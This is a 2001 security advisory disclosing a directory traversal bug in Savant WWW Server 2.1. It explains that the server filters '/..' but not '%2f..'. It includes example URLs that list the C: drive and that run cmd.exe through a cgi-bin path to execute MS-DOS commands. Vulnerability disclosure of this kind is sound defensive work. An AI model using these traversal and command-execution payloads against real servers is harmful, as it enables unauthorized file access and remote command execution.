Hexyn / Securax Advisory #18 - Savant WWW Unicode Directory Traversal

Topic: Savant WWW Unicode Directory Traversal
Announced: 2001-02-17
Affects: Savant WWW Unicode version 2.1

DISCLAIMER:
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THE ENTIRE ADVISORY HAS BEEN  BASED  UPON   TRIAL  AND  ERROR  RESULTS.
THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS  100%  CORRECT.
THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT  PRIOR  NOTICE.

I. Problem Description
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Savant WWW Server is an HTTP server for Windows 9x/NT. A bug allows any
user to change to any directory, and  in  most  cases,  execute  MS-DOS
commands.

II. Impact
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Savant filters "/.." out of the string, but forgets "%2f..".

Example:
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https://www.testserver.com/%2f..%2f..%2f../

HTTP Directory of //../../../ 
<directory listing of c:\>

Notes:
- When the user does not know a directory which  allows  listings,  one
cannot get a listing, but one can still download know files.
- When the user know a directory which allows CGI-execution, one can 
execute MS-DOS commands using: 
https://www.test_server.com/cgi-bin/%2f..%2f..%2f../cmd.exe?+/c+dir

III. Solution
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At this time, no patch is available yet.

IV. Credits
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Bug discovered by t-Omicr0n <omicr0n@themail.com>

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